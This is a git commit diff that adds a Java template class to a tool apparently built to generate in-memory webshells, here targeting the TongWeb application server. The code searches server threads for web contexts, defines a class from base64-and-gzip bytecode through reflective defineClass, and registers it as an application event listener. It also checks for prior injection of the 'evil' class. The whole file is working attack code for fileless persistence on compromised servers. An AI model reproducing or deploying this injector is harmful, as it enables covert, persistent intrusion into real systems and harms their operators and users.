add: 添加对 TongWeb（东方通）Listener 的支持

jmg-core/src/main/java/jmg/core/template/TongWebListenerInjectorTpl.java

@@ -0,0 +1,231 @@
+package jmg.core.template;
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Tongweb Listener 注入器
+ * Author: pen4uin
+ * 测试版本：
+ * v7.0.4.2
+ */
+
+public class TongWebListenerInjectorTpl {
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new TongWebListenerInjectorTpl();
+    }
+
+    public TongWebListenerInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                addListener(context, listener);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = getThreads();
+        Object context = null;
+        try {
+            for (Thread thread : threads) {
+                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        for (Object key1 : children.keySet()) {
+                            context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("ThanosStandardContext"))
+                                contexts.add(context);
+                        }
+                    }
+                }
+            }
+        } catch (Exception ignored) {
+
+        }
+        return contexts;
+    }
+
+    public Thread[] getThreads() throws Exception {
+        Thread[] var0 = null;
+
+        try {
+            var0 = (Thread[])(invokeMethod(Thread.class, "getThreads"));
+        } catch (NoSuchMethodException var3) {
+            ThreadGroup var2 = Thread.currentThread().getThreadGroup();
+            var0 = new Thread[var2.activeCount()];
+            var2.enumerate(var0);
+        }
+
+        return var0;
+    }
+
+    private Object getListener(Object context) throws IllegalAccessException {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception ex) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable ignored) {
+
+
+            }
+        }
+        return listener;
+    }
+
+    public void addListener(Object context, Object listener) throws Exception {
+        if (isInjected(context, listener.getClass().getName())) {
+            return;
+        }
+        try {
+            invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
+        } catch (Exception ex) {
+            try {
+                Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
+                List listeners = Arrays.asList(objects);
+                ArrayList arrayList = new ArrayList(listeners);
+                arrayList.add(listener);
+                invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
+            } catch (Exception ignored) {
+
+            }
+        }
+    }
+
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
+        List listeners = Arrays.asList(objects);
+        ArrayList arrayList = new ArrayList(listeners);
+        for (int i = 0; i < arrayList.size(); i++) {
+            if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+
+}